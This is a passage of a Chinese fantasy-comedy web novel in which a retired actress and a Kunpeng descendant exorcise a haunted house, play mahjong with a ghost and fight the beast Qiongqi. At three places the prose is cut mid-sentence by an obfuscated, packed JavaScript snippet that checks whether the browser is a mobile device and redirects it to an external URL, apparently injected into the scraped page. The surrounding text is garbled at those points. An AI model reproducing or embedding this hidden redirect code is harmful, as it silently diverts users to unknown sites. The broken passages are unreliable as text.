左不过和衣而卧一晚上,贺云益心知这事总得有个了结——主要是他真的不想再体验那种憋屈了——在拔腿而逃的强烈冲动中留下来。他想给晚饭提前点个外卖,结果离市区太远了,半天没有骑手接单。 他叹口气,放下手机,看向正在打发时间的另外两人。 他们坐在正对大门的堂屋里,可能是恐怖片看多了,贺云益坚持独自坐在门槛前,免得背后的门扇突然关上。不说别的,就算有点心理安慰也是好的。 从刚才起,二人就在桌前嘀嘀咕咕,他仔细一听,竟然是那个少年在现场教学。联想起之前说的第一单,贺云益开始怀疑人生,就算公众人物也不能保证绝对可信,更何况对方好像还解约退圈了,真的不是骗子吗—— “先从五行练起,”北洛说,“木生火,主宰荧惑星的南方火德荧惑执法星君就是木星之气和火之精的化生。你现在还差使不了神异录中的其他存在,就先借用司五行之力行事。” “话说在前,很多人以为画符就是简单的依样画葫芦,实际上手以后画上那么一两笔就力竭的大有人在。” “画符依靠的是天地之间的灵光乍现,用《黄庭经》的话来说,一点灵光即成符,世人枉费墨与朱。难点就在于如何抓住这灵光,是以画符前要进行仪式,比方说沐浴焚香,布设法坛,就算这样也不一定能保证成功——” “画完了。”没有现成的朱砂,只有从家里带出来的红笔,用起来理应是比正经东西更差也更耗神的,向晴放下笔,神采奕奕地问,“然后呢?” 北洛:“……算了,当我没说。” “开始吧。”他示意道。 向晴捏指起势,回忆起刚才听到的口诀。 “营惑立法,总司火权。”她道,“威光万丈,烧灭精灵。随符下应,慑附人身。” 话音刚落,一点火星突兀地浮现在她指间,只轻轻弹开,那飘在半空中的火星就成了簇簇火苗。炽烈火舌舔上符纸,薄薄纸张在顷刻间焚烧殆尽,而桌面居然还完好无损。 贺云益:“???” 卧槽。 他揉了揉眼睛,又揉了揉眼睛,确认自己没有看到他们偷偷用了打火机之类的东西,这才不敢置信地望向方才的操作者本人,接着发现对方竟也是一脸意外。 ……你自己为什么那么惊讶啊?! “物理学不存在了。”向晴喃喃道。 “没事,”北洛说,“主——牛顿不在乎。” 幸好库仑摩擦定律还在乎,砖石地面上传来粗糙刺耳的声响,一人一鲲鹏同时回头,看见是贺云益吭哧吭哧地搬着自己坐着的小板凳挪了过来。 “我能试试吗?”贺云益眼热道。 向晴很大方地帮他又画了一张,早就按捺不住好奇心的贺云益赶紧模仿着对方动作,虽然显得笨手笨脚,但好歹是摆出了类似的手势。 他清清嗓子。 “营……营惑立法,总司……火权……” 什么都没发生。 贺云益有点尴尬,心想一定是自己念得太磕绊了的错,赶紧凝神静气,口条清楚地又大声朗诵了一遍。 符纸平平整整地躺在那里。 贺云益来了。 贺云益骑着小木驴走了。 “也别坐着了。”北洛瞧着外面黑了大半的天色,“现在应该差不多,出去看看吧。” 他去查看那些大大小小的房间,向晴就陪同贺云益去了厨房——既然外卖送不来,总得捣鼓点晚上吃的东西。 其实她倒不饿,上镜要保持身材,圈内人士早习惯了晚餐只吃点沙拉或者干脆不吃。向晴也才退圈不久,胃口还没那么快养回来,但贺云益就不一样了。据他说这几天提心吊胆得吃不下饭,眼下总算是心踏实了点,却又饿着肚子翻不到吃的。 厨房建在堂屋与厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063007|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的连通处,是很宽敞的一间,不难看出炉灶墙面贴着的瓷砖在沾上浮灰前被擦得光洁如新。在房主过世以后,应该被彻底打扫过——这在当下算不上什么好消息。 “怎么连包方便面都没有,”贺云益边翻箱倒柜边叹气,“早知道当时就留点东西了。” “你们全拿走了?”向晴问。 “容易放坏的拿走了,好给冰箱断电。”贺云益解释说,“剩下的都是些锅碗瓢盆和放不坏的……喏。” 他指向旁边架子,那里摆着两三个透明玻璃坛子,坛内装满了泡在浑浊液体中的萝卜块、辣椒和菜叶。 老一辈总喜欢自己做点腌菜,贺云益他四舅爷显然也不例外。倏忽之间,向晴余光处突然有一小块黑影闪了过去。 她还未回头,就听背后一声惨叫。 “啊——” “哗啦!” 向晴:“……” 贺云益:“……” 空气中蔓起一股难以言喻的酸味,他们一个还站在原地,另一个已经腿软得一屁股坐在了地上。而在旁边,被打翻的玻璃坛子碎成了好几块,母水也淌了满地,只有部分“幸存者”还留在剩下半截的坛底。 “你,你看到没?”贺云益颤巍巍地举起食指,“刚才天花板那儿有块黑色的,我瞅着就是个人形!” 他瞧得真真切切,那黑影后背朝下地匍匐在角落,大约是胸口的位置与房顶横梁紧紧相贴,歪着脑袋看向他们,可只是一瞬间——短到他来不及疑心是不是自己看错的一瞬间,它就消失了。 向晴:“……先抢救泡菜吧。” 贺云益一寻思也是,谁小时候没背过“粒粒皆辛苦”,这一片片的就更辛苦了。 ——不对!这种时候谁管泡菜啊! 但捡都捡了,贺云益也只能继续硬着头皮用侥幸逃脱一劫的坛盖舀那些没脏的菜叶子。他蹲在地上一个劲地闷头捡,向晴在找能装泡菜的东西,视线逡巡半圈就定在了窗台上,那里横摆着个瓶口向外的细口瓶。 “这是什么?”向晴问。 看起来还挺顺眼的。 “……不知道。”贺云益抽空看了眼,“我之前来的时候就那么放着,我也没管。” 算了,反正能用。 向晴拿起那细口瓶,拧开水龙头冲洗了一下,让贺云益往这里面装。 “……咕……” “吭……” 向晴莫名其妙地看着被填到快满的瓶口。 奇怪了,她怎么听到一阵“咕噜噜”的声音。 应该是听错了吧。 …… 北洛粗略转过厢房和院角,浅浅地看出点门道来。 在他眼里,无论是屋檐还是院中草木,都笼罩着一层稀薄又挥之不去的黑雾。雾气如丝似缕,最终竟然飘向了同一个位置——堂屋与厢房的连接处。 贺云益他四舅爷家既是在昔日地主故居建起的房子,这种大户人家的风水从来都是仔细找人看过的。如今会出现这种招引煞气的煞局,必定是有谁刻意为之。 比方说,挂个刀剑装饰形成“尖角煞”,或是用破损的钟表来造成破败之象。 最容易造成这种四方煞气汇聚向一处的应该是风水瓶。 这种瓶子以宽肚细口为佳,会被使坏者放在大门匾额后头或是窗口,这样一来,四面八方的孤魂野鬼便会被吸引而至,一旦钻进去就因为瓶颈太细无法离开此地。久而久之,与其同处一室的活人轻则伤筋动骨,重则家破人亡。 北洛知道另外两人去的是厨房,也正是那黑气所在之地,他暗道不好,径直推门而入,“你们看没看到一个——” “怎么了?”向晴问。 北洛默默地看着立在窗边的细口瓶。 夕阳残存的余晖照亮瓶身,汇聚起来的黑气全被泡菜压到了最底下,时不时向上冒几个泡泡。 “……”北洛说,“现在没事了。” 就让它们在里头腌着吧。 11. 三缺一 “你是说这瓶子里全是鬼?” 听完北洛讲述的推断,向晴重新摇摇那个封好的细口瓶,她果然又听到了“咕噜噜”的声音,只不过隔着玻璃有点模糊不清。 “进来之前是猜测,现在可以肯定。”北洛说,“至少它摆在这里的目的肯定是为了招魂。” 向晴:“用不用再加点防护措施什么的?” 泡菜镇鬼一听就太有滋有味了。 “……不用了。”北洛觉得自己今晚的沉默简直震耳欲聋,“秦汉时代开始用盐和米驱鬼,只择其一就能起到效果,如果不放心,那添点生米也可以。” 那还是算了,向晴觉得已经合上了就用不着打开了。 一听说之前吓得自己半死的黑影被关了起来,贺云益立刻松了口气。他接受了想不饿肚子就只能干嚼泡菜的事实,为自己的肠胃着想,他深深叹道:“结果还是什么能吃的都找不着。” “那这个呢?”向晴举起细口瓶提出建议,“刚进去的味道应该不会太重,给你加把米做成泡菜粥。” 贺云益:“???” 谁要吃这种东西啊?! “正常人类谁吃那个,”北洛吐槽道,“你不如拿去问问饕餮或者穷奇,它俩还可能感兴趣。” 贺云益心中浮现出了不好的预感,为了挽救自己岌岌可危的世界观,他下意识问:“你们说的这两个是外号吧?” 另外两人静静地看着他。 贺云益:“……是外号吧?” 他们继续静静地看着他。 此时无声胜有声,后者哀嚎一声,抓着头发在墙角蹲下开始思考人生。 “如果把它带走,”泡菜瓶太沉了,向晴拿着费劲,又放回窗台上,“算是解决了吗?” “用吃饭打比方的话,它只相当于一道前菜。”北洛一摆手,“这种东西对未经训练的普通人非常危险,但实际上没有那么难办……” 用泡菜堵住风水瓶以后,那隐隐的威胁感还在。 “我觉得这里有别的东西。”他说。 向晴:“什么东西?” “说不准。”北洛斟酌片刻,最后说道,“对方做得很小心,也很狡猾,我只能闻到一点类似的气味。” 介于有外人在场,他说得比较隐晦,但向晴已经听出了这言外之意——所谓“类似的气味”,指的应该是神异录中的“同类”。 不会吧?这么快? 尽管早就做好了心理准备,向晴还是不由感到讶异,细想了一下,又觉得有些合情合理。 “你那时候是不是这么说过,”她一边思索,一边对着还沉迷蹲墙根的雇主发问道,“接活的施工队总是发生各种各样的纠纷。” 她知道有些精怪的现身就预兆着灾祸,甚至还有“五殃之兽”的说法流传,说会引起兵灾、洪灾又或是大瘟疫。与这些相比,区区工地纠纷简直都是小打小闹了。 “是。”贺云益不明就里,“咋了?” “大概率和藏在这里的东西有关。” 北洛接道。 “接下来小心点吧,你就不要和我们分开行动了。” 贺云益“咕咚”咽了下唾沫,还是没能阻止窜上胳膊的鸡皮疙瘩。这下不消再叮嘱,他亦步亦趋地跟着二人,生怕一不小心落了单会迎来灭顶之灾。幸好这房子的水电还正常,他内心第无数次庆幸自己没有停缴水电费,眼下才能走到哪儿就把灯开到哪儿。 依照北洛的意思,他们得一间间地检查过去,尤其要留心有没有通往地下或者墙壁中间暗室的通路。 夜晚已然彻底降临,城郊暮色四合,有如一块黑布将这栋灯火通明的宅院罩入其中,只有好久才从公路那头晃过一束的光亮能证明他们没有彻底与世隔绝。 向晴“咦”了声。 “……怎怎怎么了?”贺云益猛地浮现出了不好的预感,声音打着颤地祈祷着不是自己想的那样。 她的指尖还按在墙壁的开关上,塑料回弹的动静响了好几下,眼前依旧漆黑一片,只有隔壁房间的灯光将前方映亮了些。 “灯坏了,”向晴又试了试,对面天花板正中的吊灯还是没能予以回应,“还是停电了?” 就像是为了佐证她这句话一般,耳边忽然传来有如跳闸似的“嘣”的轻响,他们在经过时留下的灯盏在同一秒熄灭,黑暗猝不及防地占据了整片视野。 贺云益:“………………” 不要啊!恐怖片必备桥段它来了啊! “你知道电闸在哪里吧。”北洛说,“手电拿出来,一块儿去那边看看。” 对对,手电。 身边两人超乎寻常的平静也感染了他,贺云益做了个深呼吸,想起路上为以防万一在街边超市买了电池和几支手电筒,不料这会儿还真派上了用场。 一人分了一支手电筒,向晴走在最前,北洛垫后——反正只有三个人,这样既能及时对前方做出反应,又能时刻提防身后的动静。但相对来说,他对家具装潢的注意就稍慢一些。 “刚才来过这里。”向晴说。 “不可能,”贺云益好歹是这座民宅目前名义上的所有者,再怎么恐慌,对平房的布局也有个大致概念,他断然否认道,“咱们是往西走,西边最尽头就是柴房和仓库,怎么会——” 他后半句话就像被掐住嗓子那样给捋了下去,一时间除了急剧起伏的胸口以外做不出别的反应——他记得很清楚,他们最后进的是间厢房,再往前推门,理应看到的就是堆陈杂物的库房。 可此刻,他们分明身处下午一直待着的堂屋之中,他自己搬到门口的木板凳都还好端端地放在原处。只不过原本端放正中的桌椅全横七竖八地歪在角落,似乎有谁发泄一样地把它们推倒或扔开了。 “你们——我是说刚继承的时候——在这里做过什么?”北洛问。 “具体的我不知道,我当时还在外地。”贺云益干涩地说,“按照传统,我四舅爷刚去世的时候应该当过几天灵堂……” 那就是了。 “人初死之时,如果没有被勾走或投胎,就仍会徘徊在自己的躯体附近。”北洛道,“这时候,存放尸体的位置就是他们最熟悉的地方。看——” 贺云益顺着他照的方向望去,不觉悚然。 他终于知道直觉为什么让他死活不想留在这里过夜了。 早先的既视感有了着落,歪倒的桌椅板凳为堂屋中央腾出一片空地,而在那空地上,一台四四方方的麻将桌正屹立着。 桌上码放着洗好的麻将牌,边上还各有一条板凳。翠绿色的绒布看着很旧了,一抖擞都能抖出一大片灰来。 这几乎跟他梦里的场景一模一样,贺云益忍不住又咽了口唾沫,努力避免想起那些飘扬的白布和面容模糊不清的鬼影,自我安慰说最起码这次不用打牌了。 向晴施施然在桌边坐下。 “老爷子,”她说,“三缺一来不来?” 贺云益:“……” 贺云益:“???” 他第一反应是数人头,数来数去发现自己怎么都得是那个“三”之一,赶紧小声问:“就——这牌是非打不可吗?” “如果想有个了结,”向晴说,“最好还是搞清楚对方的目的是什么。” 北洛赞赏地点头。 眼见事情没有转圜的余地,贺云益只得忐忑地挑了个座位坐下,手电也斜放在桌面,正好足够看清跟前的麻将牌。就在三人全都落座之后,唯一一侧空着的桌沿旁边倏地响起“呲——”的摩擦声。 有谁在那方落座,连带着长凳都往后挪了一下。 贺云益心脏骤停。 干枯到凹陷出血管的手背布满斑点,颤巍巍地从黑暗中探出来,抓起堆在跟前的其中一块麻将牌码放好。 贺云益不敢再去挪手电筒,显而易见地,挪也没用——光束尽头消湮在桌侧的阴影里,只能朦胧地看出老者枯槁的轮廓。以此为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063008|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起点,桌边四“人”都默默摸起自己的牌,然后又是以那边为首,率先打出了第一张牌。 来者没有声音,只是安静地放下它,麻将“啪嗒”地落在桌面中央。 二筒。 或许是因为他在梦里已经做过同样的行为无数次,再加上想起对方应该是自己的四舅爷,贺云益心中的恐惧渐渐消退了大半。他麻木地摸牌、看牌,一圈又一圈,麻木地挑出不需要的牌打出去。 “五万。”向晴说。 五万……五万…… 贺云益恍惚地捏住自己准备打的那张牌,见她眨了下眼,猛然回过神,看向面前的一排麻将。 等等—— 他……胡了? “我,”贺云益难以抑制激动之情,一把推倒了麻将牌,“我胡了!” 接连几日的郁结之气一扫而空,久败之后的胜利最是酣畅淋漓,他高兴得连自己正在跟鬼魂打麻将都忘了,从板凳上一蹦三尺高。倏忽之间,有如惊雷震耳,他仿佛回到了多年之前,想起在一张差不多老旧的麻将桌前听到的话。 “云益啊,”记忆里,老人笑着轻拍他的胳膊,“这人生就像牌局,重要的是,要有一颗想赢的心。” 是这个道理……吗? 四舅爷没有见到他最后一面,所以才以这种方式来传达? 贺云益的眼眶有些湿润了。 一片迷蒙的泪光中,他看到桌上码好的麻将牌被尽数推倒,进而“哗啦啦”地在推撞间乱作一团,对面的“人”似乎拼了命地要爬过来…… ——爬过来?! 北洛:“……” 向晴:“……” 你四舅爷牌品忒差! 他俩眼疾手快,一左一右地牵制着四舅爷尸身的胳膊向后拉,但后者仍然“嗷嗷”地呲着满口黑牙要往赢家身上啃——甚至看都不看正拉住自己的两人一眼,一门心思要往正对着的方向扑。 向晴觉得自己现在明白没人和四舅爷打牌的真正原因了,合着赢不了就线下PVP啊! 四舅爷看着枯瘦如柴,挣动起来却有使不完的牛劲——那根本不是人类该有的力气,北洛心知下去不是办法,他啧了声,当机立断地松了手。 “抓着他!” 下一秒,鲲鹏末裔掐指为诀。 “天厌归天,地厌归地,人化长生,鬼化灭形。一撒清,二撒净,三撒丧煞洗去。” “清净!” 金光猛然从他双指之间绽开,化作一张符纸拍在僵尸老人的脸上,牢牢地黏住了他的嘴巴。紧随其后就是蒸腾而起的云雾——向晴曾见过它一次,此时就像她见过的那样,白烟如绳索似的捆住了四舅爷的手脚,将对方压制在桌上。 刚靠脑补把自己感动得一塌糊涂的贺云益不想说话,不过这正合北洛的意。 “嘘。”他说。 他目不转睛地盯着窗户,向晴望向那个方向,明白了对方为何如此如临大敌。 视野适应过夜色后,远处农户和路灯的光亮就显得分外醒目。而在光暗间隙,有阴影缓慢地踱进了木窗框出的角落。 向晴离门最近。 虽然大门关着,但因为有点年月了,两块木头之间的缝隙不算很细。 她靠着墙壁,单膝跪地,大气都没有出,看着从窗户映进的庞大影子一点点靠近。这样的悄无声息与那身形毫不相符,但任凭她再怎样竖起耳朵,依然捕捉不到任何响动。 向晴摁住自己的挎包。 “菜谱”——神异录这样的东西是得亲自带着才放心,也有另一层原因,据北洛说,一旦靠近契约对象,它就能有所提醒。向晴原来半信半疑,这时却不得不信了,隔着布料有热度传来——虽然还不知道是哪一页,但书册居然真的在自己发热。 门缝有一大块变黑了,向晴愣了不到半秒就反应过来,那是在四下逡巡着的瞳仁——它就这样定住了方向。 她对上了那只耀金色的竖瞳。 12.穷奇 “闪开!” “砰!” 两道声音几乎同时响起,幸好北洛在喊出声的时候就已经伸手来拽,而向晴本人的反应速度也异常迅捷,直接顺着这股拉力就地翻滚远离了门边。 木制的大门在身后轰然断裂,两扇厚实的板子拦腰成了半截,几块被硬生生撅出来的木茬噼里啪啦落地,但比起那连番的沉闷巨响压根不值一提。断成数截的门板在庞大体重的压迫下“嘎吱嘎吱”直响,踩在上面无疑会让木刺扎进脚掌,而这么做的本尊连眼睛都没多眨一下。 手电筒在刚才的剧烈震动下早就滚落地面,此时只是摇晃着照亮了它的脚边。那利爪泛着寒光,呈现出鱼钩似的形状,覆盖于其上的毛发粗短又坚硬。 它长得像虎,体型却不亚于一头水牛,背后那双翅膀流转过黑中带蓝的藏青光泽,头顶乃至脊上的尖角由长及短地排列下来。带着倒刺的长舌馋了似的舔了一圈,吐出来的却是人言。 “第一,绝对意气用事。” “第二,绝对漏判任何一件坏事;第三,绝对裁判得不公正但漂亮。” 言罢,巨虎撇头看向被捆在桌上的四舅爷。 “哦,”它说,“他赢了。” 贺云益:“……演都不演地吹黑哨啊?!” 兴许是今晚洗刷三观的事情太多,他连震惊都忘了,脱口而出的吐槽引来那对三白眼的一瞥,终于后知后觉地找回了应该有的恐慌。 贺云益犹如被掐住脖子的鹌鹑,再不敢放声了。 巨虎看他就像看自助餐厅里的科技小蛋糕,看了跟没看一样,根本没花心神。它的注意力集中在挡在最前的“人”身上,北洛单手护住身后,乍一瞧还是人类胳臂的模样,然而隐隐的浮光流动间,已能望见披覆其上的亮羽。 “我当是谁呢,”它阴惨惨地发出了笑音,“原来是鲲鹏家的小崽子。” “是又如何。” “别忘了你的本分,”北洛俨然与平时判若两人,他闻言也不在意,只是冷淡抬眸,眼中有金光流转而过,“……穷奇。” 向晴轻轻倒吸了口凉气。 穷奇状如虎,有翼,食人从首始。所食被发。在蜪犬北。一曰从足。 传说中的“四凶”之一,有名到连她都能对《山海经》里的描述如数家珍,因毁信恶忠被舜流放,虽然不知怎样辗转到了这里,但想来跟神异录有那么点关系。 “本分?” 穷奇果然怪笑了一声。 “我好端端地在这里歇着,是你们先找上了门。你们甘愿为人奴仆,可不代表我也乐意老老实实给自己戴上项圈——族里的没告诉你,遇到你穷奇大爷得绕道走?” “那确实,”向晴不由附和道,“听着就很容易变穷。” 她现在最忌讳的就是这个! 北洛:“……” 贺云益:“重点是这个吗?啊?!” 连穷奇都硬生生哽住了,有那么一瞬间,它似乎真的在思考自己的名字是不是会带来这样的影响。但穷奇是谁,宁愿吃人,绝不内耗,它也终于注意到站在后头的女人,鼻翼翕动着将脑袋转向了她。 “啊,我闻到了——”它不怀好意地说,“你是这一代的传人吧,姜尚那老头子的债就由你来还。那厮害得我只能天天睡大觉,这无聊透顶的日子是一天也不想过下去了,正好趁着这个松动的机会,斩草除根——” “原来如此,”向晴面无表情道,“怪不得连啤酒肚都有了。” 穷奇:“……???” 它大受震撼,立刻低头,果真看到了一圈小肚腩,挑衅与玩味顿时变成了夹杂着一丝灭口冲动的勃然大怒,磨着后槽牙就跃跃欲试地要扑过来。 巨虎的爪子轻刨着地面,伏低了前半身,这显然是捕食者狩猎前的准备姿势。而北洛已经趁着这短短几秒的时间一挥手——纵使消弭于无形,依然能隐约窥见在他面前转瞬即逝的点点金光。 “你们先走,”他语速飞快地说,“我牵制住它。” 向晴二话不说,一把拉起还瘫软在地的客户胳膊。贺云益就是再对眼前的情况丈二和尚摸不着头脑也知道此地不宜久留,努力撑起软掉的膝盖,连滚带爬地跟着往前跑。 还没跑几步,背后猛地传来一声巨响,就像有什么狠狠撞上了鲲鹏末裔构建出来的屏障。 双方谁也没讨得了一点好——甚至能清晰地听到那障壁寸寸皲裂的清脆声音。但这已经不是两个人类管得了的了,堂屋正门走不了,手电筒也被一爪子踩碎,他们摸黑从侧面房间往外冲,完全是凭感觉躲开了挡路的那些家具。 “你那车停在哪儿了,”向晴抽空问,“是这边吧?” “往前直走!” 贺云益上气不接下气地说:“只要不再来个鬼打墙,方向就没错——哎!” 前面的女孩倏然停住,他差点急急忙忙地闷头撞上去。 “有一个好消息和一个坏消息,”向晴说,“你想先听哪个?” ……一个也不想听!! 用不着再多费口舌,贺云益闻到那股挥之不去的咸腥味就明白了对方的意思——他们来到了打翻过泡菜坛子的厨房,但腌渍过的气味只比当时更浓郁,以至于刺鼻。 窗边的风水瓶碎掉了。 想来是有谁在来之前就动了手脚,原本被困在瓶内的孤魂野鬼被尽数放了出来。从天花板到墙壁再到地砖,到处都是蠢动着的黑影,它们身上还滴滴答答地淌着汁水,连个落脚的空隙都没留下。 这样过都过不去,向晴心一横,径直抄起了门后的扫帚。 “这能行吗?”贺云益怀疑地问。 向晴:“试试就知道了。” 那把扫帚被她转出了个刀花,她在心里默念着新学到的口诀。 天无忌,地无忌,阴阳无忌,百无禁忌。 “我可从来不用武替,还当过别人武替。”迎上贺云益诧异的目光,向晴一扫帚挑开了一个泡菜味的鬼魂,后者像张贴纸似的拍在墙上缓缓滑落,“让开!” “别挡路!” 她道:“不然统统发卖去思密达!” 厨房众鬼一静,旋即一哄而散。 向晴:“……” 贺云益:“……” 啊不是,逃得这么快吗?! 手里的扫帚一下子没了用处,向晴也懒得再拿着妨碍行动,两人一前一后地从侧屋冲出了老宅。这期间依旧能听到从远处传来的闷响,桌椅毫无疑问已经被打砸了个彻底,光是听见声音就足以想象到那激烈战况。 远远已能望见那辆停在路边的雷克萨斯,好不容易从一路狂奔中解脱出来,贺云益暗恨自己平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当下的处境也没好到哪去,哪怕避免了被一口咬掉脑袋的下场,她依然与对方陷入僵持之中——她胳膊死死撑着穷奇的上颚,手背抵住它断了一半的利齿,鞋底用力蹬住它的下牙,使尽了全身的力气才让这张血盆大口不至于朝着自己合上。 就算没能彻底阻止对方,北洛显然没让它讨到多少便宜。威名赫赫的凶兽被打掉了足足半口牙,连用之飞来的翅膀都扯落羽毛到几近只剩下一对肉翅。即便如此,向晴知道这样相持下去送命只是时间问题。 更要命的是…… 她原本握住管子的就是这只手,既不敢也不能松手,只能眼睁睁地放任里面的液体完全顺着淌进了穷奇的血口中,混合着唾液被它一并咽了下去。 ——不好。 她脸上明晃晃地写着这句话,神情间俱是不甘与绝望。于是穷奇越发兴致盎然地搜刮起软管的内容物,争取把它们全都吞进肚去。 “……贺先生……”向晴在竭力僵持中挤出声音,“快把管子……拿走……” 被后爪按在地上的男人不明就里,但仍然努力向前伸出手,“……嘶……我够不着……” 穷奇来不及去细咂那味道古怪的液体究竟是什么东西,先炫耀地打了个饱嗝,“嗝——” 不管那是什么,他们都来不及用了。 正这么洋洋得意地想着,穷奇忽然听见对方在喃喃自语着什么。 “……威光万丈,烧灭精灵……” 再看她脸上,哪还有半分惊慌与无措? “喝饱了?” 向晴抬眸一笑,松开那根接在油箱上的管子,塑料管口轻飘飘倒地,仅剩的一两滴汽油从中滴落。 火苗从她指尖燃起。 “那就轮到我了。”